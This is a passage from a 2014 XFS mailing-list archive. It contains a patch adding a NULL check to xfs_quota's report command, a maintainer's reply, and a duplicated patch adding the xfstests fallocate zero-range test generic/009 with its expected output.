(Postfix) with ESMTP id 1CB597F76 for ; Tue, 18 Mar 2014 11:39:35 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id F3A97304039 for ; Tue, 18 Mar 2014 09:39:34 -0700 (PDT) X-ASG-Debug-ID: 1395160770-04cb6c567566a310001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id ZFVBTx3fT2BUenP3 for ; Tue, 18 Mar 2014 09:39:31 -0700 (PDT) X-Barracuda-Envelope-From: eguan@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s2IGdQ8T009647 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 18 Mar 2014 12:39:28 -0400 Received: from localhost (vpn1-112-51.nay.redhat.com [10.66.112.51]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s2IGdKUL019423; Tue, 18 Mar 2014 12:39:21 -0400 From: Eryu Guan To: xfs@oss.sgi.com Cc: Eryu Guan , Eric Sandeen Subject: [PATCH] xfs_quota: avoid segfault when report -h on non-existent path Date: Wed, 19 Mar 2014 00:39:06 +0800 X-ASG-Orig-Subj: [PATCH] xfs_quota: avoid segfault when report -h on non-existent path Message-Id: <1395160746-26654-1-git-send-email-eguan@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1395160770 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Command xfs_quota -xc "report -h" /nosuchdir would get segfault, fix that by checking fs_path first before dereferencing it. Cc: Eric Sandeen Signed-off-by: Eryu Guan --- quota/report.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/quota/report.c b/quota/report.c index 70894a2..d486524 100644 --- a/quota/report.c +++ b/quota/report.c @@ -624,7 +624,7 @@ report_f( if (flags & ALL_MOUNTS_FLAG) report_any_type(fp, form, type, NULL, lower, upper, flags); - else if (fs_path->fs_flags & FS_MOUNT_POINT) + else if (fs_path && fs_path->fs_flags & FS_MOUNT_POINT) report_any_type(fp, form, type, fs_path->fs_dir, lower, upper, flags); } else while (argc > optind) { -- 1.8.5.3 From esandeen@redhat.com Tue Mar 18 12:06:46 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id DDDDC7F83 for ; Tue, 18 Mar 2014 12:06:46 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id AE3C5304051 for ; Tue, 18 Mar 2014 10:06:43 -0700 (PDT) X-ASG-Debug-ID: 1395162402-04cbb054b7474c70001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id yFqVVIQpuhvJCrqj for ; Tue, 18 Mar 2014 10:06:43 -0700 (PDT) X-Barracuda-Envelope-From: esandeen@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s2IH6d20013681 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 18 Mar 2014 13:06:40 -0400 Received: from liberator.sandeen.net (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s2IH6cNo003705 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO); Tue, 18 Mar 2014 13:06:39 -0400 Message-ID: <53287D1E.2010409@redhat.com> Date: Tue, 18 Mar 2014 12:06:38 -0500 From: Eric Sandeen Reply-To: sandeen@redhat.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Eryu Guan , xfs@oss.sgi.com Subject: Re: [PATCH] xfs_quota: avoid segfault when report -h on non-existent path References: <1395160746-26654-1-git-send-email-eguan@redhat.com> X-ASG-Orig-Subj: Re: [PATCH] xfs_quota: avoid segfault when report -h on non-existent path In-Reply-To: <1395160746-26654-1-git-send-email-eguan@redhat.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1395162402 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 3/18/14, 11:39 AM, Eryu Guan wrote: > Command xfs_quota -xc "report -h" /nosuchdir would get segfault, fix > that by checking fs_path first before dereferencing it. > > Cc: Eric Sandeen > Signed-off-by: Eryu Guan > --- > quota/report.c | 2 +- > 1 file changed, 1 insertion(+), 1 deletion(-) > > diff --git a/quota/report.c b/quota/report.c > index 70894a2..d486524 100644 > --- a/quota/report.c > +++ b/quota/report.c > @@ -624,7 +624,7 @@ report_f( > if (flags & ALL_MOUNTS_FLAG) > report_any_type(fp, form, type, NULL, > lower, upper, flags); > - else if (fs_path->fs_flags & FS_MOUNT_POINT) > + else if (fs_path && fs_path->fs_flags & FS_MOUNT_POINT) > report_any_type(fp, form, type, fs_path->fs_dir, > lower, upper, flags); > } else while (argc > optind) { > I think this is ok; state_f does the same thing. but others don't; enable_f, disable_f, off_f etc. Also this seems to be a slight regression since v3.1.8 or so, let me double check that and see if we need to fix something more general. Thanks! -Eric From lczerner@redhat.com Tue Mar 18 12:46:41 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id C08EF7F86 for ; Tue, 18 Mar 2014 12:46:41 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id A089030407A for ; Tue, 18 Mar 2014 10:46:38 -0700 (PDT) X-ASG-Debug-ID: 1395164797-04cb6c567866de60001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id YtMOmSk7qqNSIuUh for ; Tue, 18 Mar 2014 10:46:37 -0700 (PDT) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s2IHka1e030744 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 18 Mar 2014 13:46:36 -0400 Received: from localhost.localdomain.com (dhcp-1-131.brq.redhat.com [10.34.1.131]) by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s2IHkYmV031091; Tue, 18 Mar 2014 13:46:34 -0400 From: Lukas Czerner To: xfs@oss.sgi.com Cc: linux-ext4@vger.kernel.org, Lukas Czerner Subject: [PATCH] [PATCH] generic/009: add generic test for fallocate zero range Date: Tue, 18 Mar 2014 18:46:27 +0100 X-ASG-Orig-Subj: [PATCH] [PATCH] generic/009: add generic test for fallocate zero range Message-Id: <1395164788-19779-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1395164797 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 This is based on xfs/242. This is very similar to ext4/001 however this test has some tweaks to make it work test zero range on generic file system. This includes turning off ext4 extents zeroout and disabling the test for xfs on systems where PAGE_SIZE > 4096. It is testing extent tree manipulation with fallocate zero range operation. Signed-off-by: Lukas Czerner --- tests/generic/009 | 78 ++++++++++++ tests/generic/009.out | 333 ++++++++++++++++++++++++++++++++++++++++++++++++++ tests/generic/group | 1 + 3 files changed, 412 insertions(+) create mode 100644 tests/generic/009 create mode 100644 tests/generic/009.out diff --git a/tests/generic/009 b/tests/generic/009 new file mode 100644 index 0000000..b7b0b3f --- /dev/null +++ b/tests/generic/009 @@ -0,0 +1,78 @@ +#! /bin/bash +# FS QA Test No. 009 +# +# Test fallocate FALLOC_FL_ZERO_RANGE +# +#----------------------------------------------------------------------- +# Copyright 2014 (C) Red Hat, Inc., Lukas Czerner +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +# +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! + +_cleanup() +{ + rm -f $tmp.* +} + +trap "_cleanup ; exit \$status" 0 1 2 3 15 + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter +. ./common/punch + +# real QA test starts here +_supported_os Linux +_require_xfs_io_falloc "fzero" + +testfile=$TEST_DIR/009.$$ + +# Disable extent zeroing for ext4 as that change where holes are created +if [ "$FSTYP" = "ext4" ]; then + DEV=`basename $TEST_DEV` + echo 0 >/sys/fs/ext4/$DEV/extent_max_zeroout_kb +fi + +# When PAGE_SIZE > 4096 xfs extent layout is different so it would not match +# the output. +if [ "$FSTYP" = "xfs" ]; then + PAGE_SIZE=`getconf PAGE_SIZE` + if [ $PAGE_SIZE -gt 4096 ]; then + _notrun "Not supported on xfs with page size > 4096" + fi +fi + +# Standard zero range tests +_test_generic_punch falloc fzero fzero fiemap _filter_fiemap $testfile + +# Delayed allocation zero range tests +_test_generic_punch -d falloc fzero fzero fiemap _filter_fiemap $testfile + +# Multi zero range tests +_test_generic_punch -k falloc fzero fzero fiemap _filter_fiemap $testfile + +# Delayed allocation multi zero range tests +_test_generic_punch -d -k falloc fzero fzero fiemap _filter_fiemap $testfile + +status=0 ; exit diff --git a/tests/generic/009.out b/tests/generic/009.out new file mode 100644 index 0000000..4b451ba --- /dev/null +++ b/tests/generic/009.out @@ -0,0 +1,333 @@ +QA output created by 009 + 1. into a hole +0: [0..7]: hole +1: [8..23]: unwritten +2: [24..39]: hole +daa100df6e6711906b61c9ab5aa16032 + 2. into allocated space +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 3. into unwritten space +0: [0..39]: unwritten +daa100df6e6711906b61c9ab5aa16032 + 4. hole -> data +0: [0..7]: hole +1: [8..23]: unwritten +2: [24..31]: data +3: [32..39]: hole +cc63069677939f69a6e8f68cae6a6dac + 5. hole -> unwritten +0: [0..7]: hole +1: [8..31]: unwritten +2: [32..39]: hole +daa100df6e6711906b61c9ab5aa16032 + 6. data -> hole +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: hole +1b3779878366498b28c702ef88c4a773 + 7. data -> unwritten +0: [0..7]: data +1: [8..31]: unwritten +2: [32..39]: hole +1b3779878366498b28c702ef88c4a773 + 8. unwritten -> hole +0: [0..23]: unwritten +1: [24..39]: hole +daa100df6e6711906b61c9ab5aa16032 + 9. unwritten -> data +0: [0..23]: unwritten +1: [24..31]: data +2: [32..39]: hole +cc63069677939f69a6e8f68cae6a6dac + 10. hole -> data -> hole +0: [0..7]: hole +1: [8..31]: unwritten +2: [32..39]: hole +daa100df6e6711906b61c9ab5aa16032 + 11. data -> hole -> data +0: [0..7]: data +1: [8..31]: unwritten +2: [32..39]: data +f6aeca13ec49e5b266cd1c913cd726e3 + 12. unwritten -> data -> unwritten +0: [0..39]: unwritten +daa100df6e6711906b61c9ab5aa16032 + 13. data -> unwritten -> data +0: [0..7]: data +1: [8..31]: unwritten +2: [32..39]: data +f6aeca13ec49e5b266cd1c913cd726e3 + 14. data -> hole @ EOF +0: [0..23]: data +1: [24..39]: unwritten +e1f024eedd27ea6b1c3e9b841c850404 + 15. data -> hole @ 0 +0: [0..15]: unwritten +1: [16..39]: data +eecb7aa303d121835de05028751d301c + 16. data -> cache cold ->hole +0: [0..15]: unwritten +1: [16..39]: data +eecb7aa303d121835de05028751d301c + 17. data -> hole in single block file +0: [0..7]: data +0000000 cdcd cdcd cdcd cdcd cdcd cdcd cdcd cdcd +* +0000200 0000 0000 0000 0000 0000 0000 0000 0000 +* +0000400 cdcd cdcd cdcd cdcd cdcd cdcd cdcd cdcd +* + 1. into a hole +0: [0..7]: hole +1: [8..23]: unwritten +2: [24..39]: hole +daa100df6e6711906b61c9ab5aa16032 + 2. into allocated space +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 3. into unwritten space +0: [0..39]: unwritten +daa100df6e6711906b61c9ab5aa16032 + 4. hole -> data +0: [0..7]: hole +1: [8..23]: unwritten +2: [24..31]: data +3: [32..39]: hole +cc63069677939f69a6e8f68cae6a6dac + 5. hole -> unwritten +0: [0..7]: hole +1: [8..31]: unwritten +2: [32..39]: hole +daa100df6e6711906b61c9ab5aa16032 + 6. data -> hole +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: hole +1b3779878366498b28c702ef88c4a773 + 7. data -> unwritten +0: [0..7]: data +1: [8..31]: unwritten +2: [32..39]: hole +1b3779878366498b28c702ef88c4a773 + 8. unwritten -> hole +0: [0..23]: unwritten +1: [24..39]: hole +daa100df6e6711906b61c9ab5aa16032 + 9. unwritten -> data +0: [0..23]: unwritten +1: [24..31]: data +2: [32..39]: hole +cc63069677939f69a6e8f68cae6a6dac + 10. hole -> data -> hole +0: [0..7]: hole +1: [8..31]: unwritten +2: [32..39]: hole +daa100df6e6711906b61c9ab5aa16032 + 11. data -> hole -> data +0: [0..7]: data +1: [8..31]: unwritten +2: [32..39]: data +f6aeca13ec49e5b266cd1c913cd726e3 + 12. unwritten -> data -> unwritten +0: [0..39]: unwritten +daa100df6e6711906b61c9ab5aa16032 + 13. data -> unwritten -> data +0: [0..7]: data +1: [8..31]: unwritten +2: [32..39]: data +f6aeca13ec49e5b266cd1c913cd726e3 + 14. data -> hole @ EOF +0: [0..23]: data +1: [24..39]: unwritten +e1f024eedd27ea6b1c3e9b841c850404 + 15. data -> hole @ 0 +0: [0..15]: unwritten +1: [16..39]: data +eecb7aa303d121835de05028751d301c + 16. data -> cache cold ->hole +0: [0..15]: unwritten +1: [16..39]: data +eecb7aa303d121835de05028751d301c + 17. data -> hole in single block file +0: [0..7]: data +0000000 cdcd cdcd cdcd cdcd cdcd cdcd cdcd cdcd +* +0000200 0000 0000 0000 0000 0000 0000 0000 0000 +* +0000400 cdcd cdcd cdcd cdcd cdcd cdcd cdcd cdcd +* + 1. into a hole +0: [0..7]: hole +1: [8..23]: unwritten +2: [24..39]: hole +daa100df6e6711906b61c9ab5aa16032 + 2. into allocated space +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 3. into unwritten space +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 4. hole -> data +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 5. hole -> unwritten +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 6. data -> hole +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 7. data -> unwritten +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 8. unwritten -> hole +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 9. unwritten -> data +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 10. hole -> data -> hole +0: [0..7]: data +1: [8..31]: unwritten +2: [32..39]: data +f6aeca13ec49e5b266cd1c913cd726e3 + 11. data -> hole -> data +0: [0..7]: data +1: [8..31]: unwritten +2: [32..39]: data +f6aeca13ec49e5b266cd1c913cd726e3 + 12. unwritten -> data -> unwritten +0: [0..7]: data +1: [8..31]: unwritten +2: [32..39]: data +f6aeca13ec49e5b266cd1c913cd726e3 + 13. data -> unwritten -> data +0: [0..7]: data +1: [8..31]: unwritten +2: [32..39]: data +f6aeca13ec49e5b266cd1c913cd726e3 + 14. data -> hole @ EOF +0: [0..23]: data +1: [24..39]: unwritten +e1f024eedd27ea6b1c3e9b841c850404 + 15. data -> hole @ 0 +0: [0..15]: unwritten +1: [16..39]: data +eecb7aa303d121835de05028751d301c + 16. data -> cache cold ->hole +0: [0..15]: unwritten +1: [16..39]: data +eecb7aa303d121835de05028751d301c + 17. data -> hole in single block file +0: [0..7]: data +0000000 cdcd cdcd cdcd cdcd cdcd cdcd cdcd cdcd +* +0000200 0000 0000 0000 0000 0000 0000 0000 0000 +* +0000400 cdcd cdcd cdcd cdcd cdcd cdcd cdcd cdcd +* + 1. into a hole +0: [0..7]: hole +1: [8..23]: unwritten +2: [24..39]: hole +daa100df6e6711906b61c9ab5aa16032 + 2. into allocated space +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 3. into unwritten space +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 4. hole -> data +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 5. hole -> unwritten +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 6. data -> hole +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 7. data -> unwritten +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 8. unwritten -> hole +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 9. unwritten -> data +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 10. hole -> data -> hole +0: [0..7]: data +1: [8..31]: unwritten +2: [32..39]: data +f6aeca13ec49e5b266cd1c913cd726e3 + 11. data -> hole -> data +0: [0..7]: data +1: [8..31]: unwritten +2: [32..39]: data +f6aeca13ec49e5b266cd1c913cd726e3 + 12. unwritten -> data -> unwritten +0: [0..7]: data +1: [8..31]: unwritten +2: [32..39]: data +f6aeca13ec49e5b266cd1c913cd726e3 + 13. data -> unwritten -> data +0: [0..7]: data +1: [8..31]: unwritten +2: [32..39]: data +f6aeca13ec49e5b266cd1c913cd726e3 + 14. data -> hole @ EOF +0: [0..23]: data +1: [24..39]: unwritten +e1f024eedd27ea6b1c3e9b841c850404 + 15. data -> hole @ 0 +0: [0..15]: unwritten +1: [16..39]: data +eecb7aa303d121835de05028751d301c + 16. data -> cache cold ->hole +0: [0..15]: unwritten +1: [16..39]: data +eecb7aa303d121835de05028751d301c + 17. data -> hole in single block file +0: [0..7]: data +0000000 cdcd cdcd cdcd cdcd cdcd cdcd cdcd cdcd +* +0000200 0000 0000 0000 0000 0000 0000 0000 0000 +* +0000400 cdcd cdcd cdcd cdcd cdcd cdcd cdcd cdcd +* diff --git a/tests/generic/group b/tests/generic/group index a99b6a1..71bde41 100644 --- a/tests/generic/group +++ b/tests/generic/group @@ -10,6 +10,7 @@ 006 dir udf auto quick 007 dir udf auto quick 008 auto quick prealloc +009 auto quick prealloc 010 other udf auto 011 dir udf auto quick 013 other ioctl udf auto quick -- 1.8.3.1 From lczerner@redhat.com Tue Mar 18 12:46:49 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 655BB7F8D for ; Tue, 18 Mar 2014 12:46:49 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id C05DCAC001 for ; Tue, 18 Mar 2014 10:46:45 -0700 (PDT) X-ASG-Debug-ID: 1395164801-04cbb054b8477300001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id HKvZZ1IzUauIkskf for ; Tue, 18 Mar 2014 10:46:41 -0700 (PDT) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s2IHkbQC006292 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 18 Mar 2014 13:46:37 -0400 Received: from localhost.localdomain.com (dhcp-1-131.brq.redhat.com [10.34.1.131]) by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s2IHkYmW031091; Tue, 18 Mar 2014 13:46:36 -0400 From: Lukas Czerner To: xfs@oss.sgi.com Cc: linux-ext4@vger.kernel.org, Lukas Czerner Subject: [PATCH] [PATCH] generic/009: add generic test for fallocate zero range Date: Tue, 18 Mar 2014 18:46:28 +0100 X-ASG-Orig-Subj: [PATCH] [PATCH] generic/009: add generic test for fallocate zero range Message-Id: <1395164788-19779-2-git-send-email-lczerner@redhat.com> In-Reply-To: <1395164788-19779-1-git-send-email-lczerner@redhat.com> References: <1395164788-19779-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1395164801 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 This is based on xfs/242. This is very similar to ext4/001 however this test has some tweaks to make it work test zero range on generic file system. This includes turning off ext4 extents zeroout and disabling the test for xfs on systems where PAGE_SIZE > 4096. It is testing extent tree manipulation with fallocate zero range operation. Signed-off-by: Lukas Czerner --- tests/generic/009 | 78 ++++++++++++ tests/generic/009.out | 333 ++++++++++++++++++++++++++++++++++++++++++++++++++ tests/generic/group | 1 + 3 files changed, 412 insertions(+) create mode 100644 tests/generic/009 create mode 100644 tests/generic/009.out diff --git a/tests/generic/009 b/tests/generic/009 new file mode 100644 index 0000000..b7b0b3f --- /dev/null +++ b/tests/generic/009 @@ -0,0 +1,78 @@ +#! /bin/bash +# FS QA Test No. 009 +# +# Test fallocate FALLOC_FL_ZERO_RANGE +# +#----------------------------------------------------------------------- +# Copyright 2014 (C) Red Hat, Inc., Lukas Czerner +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +# +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! + +_cleanup() +{ + rm -f $tmp.* +} + +trap "_cleanup ; exit \$status" 0 1 2 3 15 + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter +. ./common/punch + +# real QA test starts here +_supported_os Linux +_require_xfs_io_falloc "fzero" + +testfile=$TEST_DIR/009.$$ + +# Disable extent zeroing for ext4 as that change where holes are created +if [ "$FSTYP" = "ext4" ]; then + DEV=`basename $TEST_DEV` + echo 0 >/sys/fs/ext4/$DEV/extent_max_zeroout_kb +fi + +# When PAGE_SIZE > 4096 xfs extent layout is different so it would not match +# the output. +if [ "$FSTYP" = "xfs" ]; then + PAGE_SIZE=`getconf PAGE_SIZE` + if [ $PAGE_SIZE -gt 4096 ]; then + _notrun "Not supported on xfs with page size > 4096" + fi +fi + +# Standard zero range tests +_test_generic_punch falloc fzero fzero fiemap _filter_fiemap $testfile + +# Delayed allocation zero range tests +_test_generic_punch -d falloc fzero fzero fiemap _filter_fiemap $testfile + +# Multi zero range tests +_test_generic_punch -k falloc fzero fzero fiemap _filter_fiemap $testfile + +# Delayed allocation multi zero range tests +_test_generic_punch -d -k falloc fzero fzero fiemap _filter_fiemap $testfile + +status=0 ; exit diff --git a/tests/generic/009.out b/tests/generic/009.out new file mode 100644 index 0000000..4b451ba --- /dev/null +++ b/tests/generic/009.out @@ -0,0 +1,333 @@ +QA output created by 009 + 1. into a hole +0: [0..7]: hole +1: [8..23]: unwritten +2: [24..39]: hole +daa100df6e6711906b61c9ab5aa16032 + 2. into allocated space +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 3. into unwritten space +0: [0..39]: unwritten +daa100df6e6711906b61c9ab5aa16032 + 4. hole -> data +0: [0..7]: hole +1: [8..23]: unwritten +2: [24..31]: data +3: [32..39]: hole +cc63069677939f69a6e8f68cae6a6dac + 5. hole -> unwritten +0: [0..7]: hole +1: [8..31]: unwritten +2: [32..39]: hole +daa100df6e6711906b61c9ab5aa16032 + 6. data -> hole +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: hole +1b3779878366498b28c702ef88c4a773 + 7. data -> unwritten +0: [0..7]: data +1: [8..31]: unwritten +2: [32..39]: hole +1b3779878366498b28c702ef88c4a773 + 8. unwritten -> hole +0: [0..23]: unwritten +1: [24..39]: hole +daa100df6e6711906b61c9ab5aa16032 + 9. unwritten -> data +0: [0..23]: unwritten +1: [24..31]: data +2: [32..39]: hole +cc63069677939f69a6e8f68cae6a6dac + 10. hole -> data -> hole +0: [0..7]: hole +1: [8..31]: unwritten +2: [32..39]: hole +daa100df6e6711906b61c9ab5aa16032 + 11. data -> hole -> data +0: [0..7]: data +1: [8..31]: unwritten +2: [32..39]: data +f6aeca13ec49e5b266cd1c913cd726e3 + 12. unwritten -> data -> unwritten +0: [0..39]: unwritten +daa100df6e6711906b61c9ab5aa16032 + 13. data -> unwritten -> data +0: [0..7]: data +1: [8..31]: unwritten +2: [32..39]: data +f6aeca13ec49e5b266cd1c913cd726e3 + 14. data -> hole @ EOF +0: [0..23]: data +1: [24..39]: unwritten +e1f024eedd27ea6b1c3e9b841c850404 + 15. data -> hole @ 0 +0: [0..15]: unwritten +1: [16..39]: data +eecb7aa303d121835de05028751d301c + 16. data -> cache cold ->hole +0: [0..15]: unwritten +1: [16..39]: data +eecb7aa303d121835de05028751d301c + 17. data -> hole in single block file +0: [0..7]: data +0000000 cdcd cdcd cdcd cdcd cdcd cdcd cdcd cdcd +* +0000200 0000 0000 0000 0000 0000 0000 0000 0000 +* +0000400 cdcd cdcd cdcd cdcd cdcd cdcd cdcd cdcd +* + 1. into a hole +0: [0..7]: hole +1: [8..23]: unwritten +2: [24..39]: hole +daa100df6e6711906b61c9ab5aa16032 + 2. into allocated space +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: data +cc58a7417c2d7763adc45b6fcd3fa024 + 3. into unwritten space +0: [0..39]: unwritten +daa100df6e6711906b61c9ab5aa16032 + 4. hole -> data +0: [0..7]: hole +1: [8..23]: unwritten +2: [24..31]: data +3: [32..39]: hole +cc63069677939f69a6e8f68cae6a6dac + 5. hole -> unwritten +0: [0..7]: hole +1: [8..31]: unwritten +2: [32..39]: hole +daa100df6e6711906b61c9ab5aa16032 + 6. data -> hole +0: [0..7]: data +1: [8..23]: unwritten +2: [24..39]: hole +1b3779878366498b28c702ef88c4a773 